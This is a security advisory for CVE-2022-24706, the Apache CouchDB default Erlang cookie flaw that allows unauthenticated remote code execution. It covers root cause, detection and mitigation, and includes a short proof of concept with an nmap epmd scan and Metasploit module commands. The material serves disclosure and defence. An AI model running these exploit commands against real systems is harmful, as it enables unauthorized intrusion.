CouchDB Default Erlang Cookie RCE

Product: Apache CouchDB
CVE: CVE-2022-24706
Disclosed: 2022-04-25
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: Apache CouchDB 3.2.1 and earlier.
Fixed: CouchDB 3.2.2.

Summary

CouchDB installers shipped a default Erlang distribution cookie ('monster') and exposed the Erlang distribution port. Anyone who could reach it could join the cluster as an Erlang node and run OS commands without credentials.

Root cause

Erlang nodes authenticate each other only with a shared cookie. CouchDB's packaging set the cookie to the well-known default 'monster' and bound epmd (4369) and the randomly chosen distribution port to all interfaces, so an attacker can connect as a peer node and run os:cmd/1.

Impact

Unauthenticated remote code execution as the CouchDB user.

Public PoC

# find the advertised distribution port
nmap -p4369 --script epmd-info 10.0.0.60

# module queries epmd, then authenticates to the node with cookie 'monster'
msf6 > use exploit/multi/http/apache_couchdb_erlang_rce
msf6 > set RHOSTS 10.0.0.60
msf6 > set RPORT 4369
msf6 > check
msf6 > run

Source: Rapid7 Metasploit - apache_couchdb_erlang_rce

Detection

Scan for TCP/4369 (epmd) and the advertised couchdb distribution port (nmap -p4369 --script epmd-info). Nuclei template CVE-2022-24706.

Mitigation

Upgrade to 3.2.2+ (refuses to start with the 'monster' cookie and binds epmd/distribution to localhost), set a strong unique cookie, and firewall epmd (4369) and the Erlang distribution port; only 5984 needs exposure.